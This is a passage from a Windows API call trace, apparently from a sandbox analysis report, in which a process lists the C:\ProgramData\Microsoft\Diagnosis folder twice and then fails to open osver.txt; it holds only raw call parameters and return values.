lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0099.676] CloseHandle (hObject=0x7c4) returned 1 [0099.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0099.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis", lpFilePart=0x0) returned 0x22 [0099.676] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0099.678] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.678] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1 [0099.678] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1 [0099.678] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedSettings", cAlternateFileName="DOWNLO~2")) returned 1 [0099.678] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETLLogs", cAlternateFileName="")) returned 1 [0099.679] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_CostDeferred.rbs", cAlternateFileName="EVENTS~3.RBS")) returned 1 [0099.679] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5e567a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b5e567a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x1000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Normal.rbs", cAlternateFileName="EVENTS~1.RBS")) returned 1 [0099.679] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_NormalCritical.rbs", cAlternateFileName="EVENTS~2.RBS")) returned 1 [0099.679] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x333333, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Realtime.rbs", cAlternateFileName="EVENTS~4.RBS")) returned 1 [0099.679] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalTraceStore", cAlternateFileName="LOCALT~1")) returned 1 [0099.679] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="osver.txt", cAlternateFileName="")) returned 1 [0099.679] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parse.dat", cAlternateFileName="")) returned 1 [0099.679] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sideload", cAlternateFileName="")) returned 1 [0099.680] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Siufloc", cAlternateFileName="")) returned 1 [0099.680] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLanding", cAlternateFileName="SOFTLA~1")) returned 1 [0099.680] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLandingStage", cAlternateFileName="SOFTLA~2")) returned 1 [0099.680] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TenantStorage", cAlternateFileName="TENANT~1")) returned 1 [0099.680] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 1 [0099.680] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.681] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0099.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0099.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0099.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0099.681] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis", lpFilePart=0x0) returned 0x22 [0099.681] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0099.682] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.682] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1 [0099.683] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1 [0099.683] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedSettings", cAlternateFileName="DOWNLO~2")) returned 1 [0099.683] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETLLogs", cAlternateFileName="")) returned 1 [0099.683] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_CostDeferred.rbs", cAlternateFileName="EVENTS~3.RBS")) returned 1 [0099.683] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5e567a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b5e567a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x1000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Normal.rbs", cAlternateFileName="EVENTS~1.RBS")) returned 1 [0099.683] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_NormalCritical.rbs", cAlternateFileName="EVENTS~2.RBS")) returned 1 [0099.683] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x333333, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Realtime.rbs", cAlternateFileName="EVENTS~4.RBS")) returned 1 [0099.684] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalTraceStore", cAlternateFileName="LOCALT~1")) returned 1 [0099.684] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="osver.txt", cAlternateFileName="")) returned 1 [0099.684] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parse.dat", cAlternateFileName="")) returned 1 [0099.684] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sideload", cAlternateFileName="")) returned 1 [0099.684] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Siufloc", cAlternateFileName="")) returned 1 [0099.684] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLanding", cAlternateFileName="SOFTLA~1")) returned 1 [0099.684] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLandingStage", cAlternateFileName="SOFTLA~2")) returned 1 [0099.685] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TenantStorage", cAlternateFileName="TENANT~1")) returned 1 [0099.685] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 1 [0099.685] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 0 [0099.685] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0099.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0099.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0099.686] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt", lpFilePart=0x0) returned 0x2c [0099.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0099.686] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\osver.txt"), fInfoLevelId=0x0, lpFileInformation=0x33a7318 | out: lpFileInformation=0x33a7318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa)) returned 1 [0099.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0099.687] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt", lpFilePart=0x0) returned 0x2c [0099.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0099.687] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\osver.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0099.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eaf50) returned 1 [0099.690] GetFullPathNameW (in: 